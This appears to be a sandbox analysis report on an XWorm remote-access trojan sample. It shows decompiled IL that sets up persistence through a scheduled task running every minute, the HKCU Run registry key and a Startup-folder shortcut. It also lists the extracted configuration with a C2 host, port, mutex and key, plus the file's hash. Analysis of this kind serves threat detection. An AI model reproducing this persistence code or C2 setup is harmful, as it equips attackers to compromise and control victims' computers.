Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.SLPgHWKuyo1iaem3DrpgXWMJxxR51soB My.bSqrVD7h5oOzi2hnmzUNX55zwFONkrtq::9cH4bi3egB7VQwbZ5CkDkdZ7BXePRnWZ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.SLPgHWKuyo1iaem3DrpgXWMJxxR51soB My.bSqrVD7h5oOzi2hnmzUNX55zwFONkrtq::9cH4bi3egB7VQwbZ5CkDkdZ7BXePRnWZ() call My.SLPgHWKuyo1iaem3DrpgXWMJxxR51soB My.bSqrVD7h5oOzi2hnmzUNX55zwFONkrtq::9cH4bi3egB7VQwbZ5CkDkdZ7BXePRnWZ() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::DvfSZCSJXtZG8BQuB7py6Kv7OsZH5gJe9aiksplMxbrSRAuqeMsELMP0x47NRNpmQ leave.s IL_0381: call System.Void Stub.lHTtGhF673TT2a3dgiovFBw0mC0hzmnz::X0dKFaRYHhun6AyUeNiT9W4hKibQIHaY() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.lHTtGhF673TT2a3dgiovFBw0mC0hzmnz::X0dKFaRYHhun6AyUeNiT9W4hKibQIHaY() call System.Void Stub.lHTtGhF673TT2a3dgiovFBw0mC0hzmnz::X0dKFaRYHhun6AyUeNiT9W4hKibQIHaY() call System.Void Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::hGA5o4p5sQvMi2W0hdjdz2p8SkjaIF6lJDF5OO6vNd9kN8TAMjHsaeebNzcPjiPdr() ldnull <null> ldftn System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::YtDJEDCJ1AjNpqlJCQmiOKlIgOrPZF6Q() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.UmYHvqgH3RXUs2a0Z0BKwuokZl6W86KM::ZTcVasAw8p7FudnCcDzc6m4w0m8WCDVh() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03B2: ldnull call System.Void Stub.jHTaMWygosEFkeQIoqBqRuFC3x4z7BpK::k9RfrR3Hsskgk90wUAdHrONhxHVQFU15() ldnull <null> ldftn System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::i8rbWhh257rDnmDQEFdxW9gk0PxNqOzR() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::Gjy6B5EJyKUqrICe9bMz0SzQq9ebH7TZ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

cCKfgTFbsMnrfCYg

CnC

made-recruitment.gl.at.ply.gg

Port

38251

81164b9cafbfd7a58091069c57a7dd7b (156.67 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

cCKfgTFbsMnrfCYg

Hosts

made-recruitment.gl.at.ply.gg

Port

38251

KEY

<666666>

USBNM

<XWormmm>

LoggerPath

%Temp%

family

xworm

Artefacts
Name
Value Location
Mutex

cCKfgTFbsMnrfCYg

Malicious

81164b9cafbfd7a58091069c57a7dd7b

CnC

made-recruitment.gl.at.ply.gg

Malicious

81164b9cafbfd7a58091069c57a7dd7b

Port

38251

Malicious

81164b9cafbfd7a58091069c57a7dd7b

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